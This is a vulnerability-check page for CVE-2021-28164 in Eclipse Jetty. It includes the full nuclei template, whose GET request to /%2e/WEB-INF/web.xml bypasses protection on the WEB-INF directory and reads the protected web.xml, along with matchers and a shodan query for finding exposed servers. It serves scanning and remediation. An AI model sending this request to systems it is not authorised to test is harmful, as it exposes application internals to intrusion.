Eclipse Jetty - Information Disclosure

mediumseverity

5.3CVSS score

82.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Eclipse Jetty 9.4.37.v20210219 to 9.4.38.v20210224 is susceptible to improper authorization. The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. An attacker can access sensitive information regarding the implementation of a web application.

Impact

An attacker can exploit this vulnerability to access sensitive information, potentially leading to further attacks or unauthorized access.

Fix

Apply the latest security patches or updates provided by the Eclipse Jetty project to fix the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/WEB-INF/web.xml
Positive when: !contains_all(body, '</web-app>', 'java.sun.com') and !contains_all(header, 'application/xml') and status_code != 200 and status_code != 404
Send: GET {{BaseURL}}/%2e/WEB-INF/web.xml
Positive when: contains_all(body, '</web-app>', 'java.sun.com') and contains_all(header, 'application/xml') and status_code == 200

Run it with nuclei: nuclei -id CVE-2021-28164 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-28164

info:
  name: Eclipse Jetty - Information Disclosure
  author: noamrathaus
  severity: medium
  description: |
    Eclipse Jetty 9.4.37.v20210219 to 9.4.38.v20210224 is susceptible to improper authorization. The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. An attacker can access sensitive information regarding the implementation of a web application.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, potentially leading to further attacks or unauthorized access.
  remediation: |
    Apply the latest security patches or updates provided by the Eclipse Jetty project to fix the information disclosure vulnerability.
  reference:
    - https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5
    - https://github.com/vulhub/vulhub/tree/1239bca12c75630bb2033b728140ed5224dcc6d8/jetty
    - https://lists.apache.org/thread.html/r780c3c210a05c5bf7b4671303f46afc3fe56758e92864e1a5f0590d0@%3Cjira.kafka.apache.org%3E
    - http://packetstormsecurity.com/files/164590/Jetty-9.4.37.v20210219-Information-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/cve-2021-28164
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-28164
    cwe-id: CWE-200,NVD-CWE-Other
    epss-score: 0.82371
    epss-percentile: 0.99665
    cpe: cpe:2.3:a:eclipse:jetty:9.4.37:20210219:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: eclipse
    product: jetty
    shodan-query: cpe:"cpe:2.3:a:eclipse:jetty"
  tags: cve2021,cve,packetstorm,vulhub,jetty,exposure,eclipse,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/WEB-INF/web.xml"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "!contains_all(body, '</web-app>', 'java.sun.com')"
          - "!contains_all(header, 'application/xml')"
          - "status_code != 200"
          - "status_code != 404"
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/%2e/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, '</web-app>', 'java.sun.com')"
          - "contains_all(header, 'application/xml')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from